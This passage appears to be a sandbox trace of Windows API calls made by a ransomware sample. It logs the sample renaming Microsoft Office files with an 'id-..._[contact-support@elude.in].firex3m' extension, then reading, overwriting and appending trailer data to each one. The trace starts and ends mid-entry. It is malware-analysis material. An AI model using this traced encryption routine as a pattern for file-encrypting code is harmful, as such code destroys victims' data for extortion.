pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 1 [0123.294] GetProcessHeap () returned 0x630000 [0123.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a8) returned 0x66a3e0 [0123.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0125.226] CloseHandle (hObject=0x640) returned 1 [0125.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0125.227] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0127.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0127.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP0978~1.FIR")) returned 0x6d4f80 [0129.600] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0129.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0129.600] GetProcessHeap () returned 0x630000 [0129.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fe1780 [0129.600] GetProcessHeap () returned 0x630000 [0129.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0129.600] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.600] ReadFile (in: hFile=0x4e4, lpBuffer=0x6fe1780, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe1780*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0138.089] GetProcessHeap () returned 0x630000 [0138.089] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0138.089] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.089] WriteFile (in: hFile=0x4e4, lpBuffer=0x6ed88b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0138.090] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.090] WriteFile (in: hFile=0x4e4, lpBuffer=0x6ee3caf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3caf*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.092] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.092] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.092] CloseHandle (hObject=0x4e4) returned 1 [0138.101] GetProcessHeap () returned 0x630000 [0138.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0138.107] GetProcessHeap () returned 0x630000 [0138.107] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe1780 | out: hHeap=0x630000) returned 1 [0138.108] GetProcessHeap () returned 0x630000 [0138.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0138.108] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1843ba91, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x618cc, dwReserved0=0xb907496, dwReserved1=0x6fe1778, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP0978~1.FIR")) returned 0x6d4f00 [0138.108] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0138.108] Sleep (dwMilliseconds=0x1) [0138.113] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", len=0x53 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml") returned 1 [0138.113] GetProcessHeap () returned 0x630000 [0138.113] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a7c) returned 0x72b0508 [0138.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.151] CloseHandle (hObject=0x698) returned 1 [0138.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea0, dwReserved0=0xf108d32a, dwReserved1=0x720069, cFileName="Tw Cen MT.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TWCENM~1.FIR")) returned 0x6d4e40 [0138.153] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0138.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.153] GetProcessHeap () returned 0x630000 [0138.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x6f1c300 [0138.153] GetProcessHeap () returned 0x630000 [0138.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x7205a88 [0138.153] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.153] ReadFile (in: hFile=0x698, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x4bfff0c*=0xea0, lpOverlapped=0x0) returned 1 [0138.168] GetProcessHeap () returned 0x630000 [0138.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0138.168] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.169] WriteFile (in: hFile=0x698, lpBuffer=0x7205a88*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7205a88*, lpNumberOfBytesWritten=0x4bfff0c*=0xea0, lpOverlapped=0x0) returned 1 [0138.169] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.169] WriteFile (in: hFile=0x698, lpBuffer=0x7206927*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7206927*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.169] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.169] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.169] CloseHandle (hObject=0x698) returned 1 [0138.170] GetProcessHeap () returned 0x630000 [0138.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7205a88 | out: hHeap=0x630000) returned 1 [0138.170] GetProcessHeap () returned 0x630000 [0138.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0138.170] GetProcessHeap () returned 0x630000 [0138.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0138.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x184d46d5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xb907496, dwReserved1=0x6f1c2f8, cFileName="Tw Cen MT.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TWCENM~1.FIR")) returned 0x6d4ec0 [0138.171] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0138.171] Sleep (dwMilliseconds=0x1) [0139.793] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms", len=0x55 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 1 [0139.793] GetProcessHeap () returned 0x630000 [0139.793] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c7c) returned 0x7203db8 [0139.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0141.159] CloseHandle (hObject=0x684) returned 1 [0141.159] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0141.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.654] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43967f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43967f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe451402c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4df5, dwReserved0=0x4708fdb2, dwReserved1=0x66002e, cFileName="HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEST~1.FIR")) returned 0x6d5380 [0143.655] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0143.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0143.655] GetProcessHeap () returned 0x630000 [0143.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e01) returned 0x72ba008 [0143.655] GetProcessHeap () returned 0x630000 [0143.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e01) returned 0x72bee18 [0143.655] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.655] ReadFile (in: hFile=0x684, lpBuffer=0x72ba008, nNumberOfBytesToRead=0x4de0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ba008*, lpNumberOfBytesRead=0x4bfff0c*=0x4de0, lpOverlapped=0x0) returned 1 [0145.691] GetProcessHeap () returned 0x630000 [0145.691] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0145.691] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.691] WriteFile (in: hFile=0x684, lpBuffer=0x72bee18*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72bee18*, lpNumberOfBytesWritten=0x4bfff0c*=0x4de0, lpOverlapped=0x0) returned 1 [0145.936] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.936] WriteFile (in: hFile=0x684, lpBuffer=0x72c3bf7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c3bf7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.936] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.936] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.936] CloseHandle (hObject=0x684) returned 1 [0145.936] GetProcessHeap () returned 0x630000 [0145.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72bee18 | out: hHeap=0x630000) returned 1 [0145.937] GetProcessHeap () returned 0x630000 [0145.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72ba008 | out: hHeap=0x630000) returned 1 [0145.937] GetProcessHeap () returned 0x630000 [0145.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0145.937] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43967f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43967f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cef6987, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e19, dwReserved0=0xb907496, dwReserved1=0x72ba000, cFileName="HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEST~1.FIR")) returned 0x6d4ec0 [0145.937] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0145.937] Sleep (dwMilliseconds=0x1) [0146.022] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL", len=0x40 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL") returned 1 [0146.022] GetProcessHeap () returned 0x630000 [0146.022] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2750) returned 0x71f7c78 [0146.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0146.738] CloseHandle (hObject=0x6e4) returned 1 [0146.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hol"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hol.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1467a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HOL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLOO~2.FIR")) returned 0x6d4e40 [0146.777] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0146.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hol.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0146.777] GetProcessHeap () returned 0x630000 [0146.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0146.777] GetProcessHeap () returned 0x630000 [0146.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0146.777] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.777] ReadFile (in: hFile=0x6e4, lpBuffer=0x72de948, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.487] GetProcessHeap () returned 0x630000 [0154.487] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0154.488] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.488] WriteFile (in: hFile=0x6e4, lpBuffer=0x72e9d78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.488] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.488] WriteFile (in: hFile=0x6e4, lpBuffer=0x72f5177*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f5177*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.567] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.567] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, 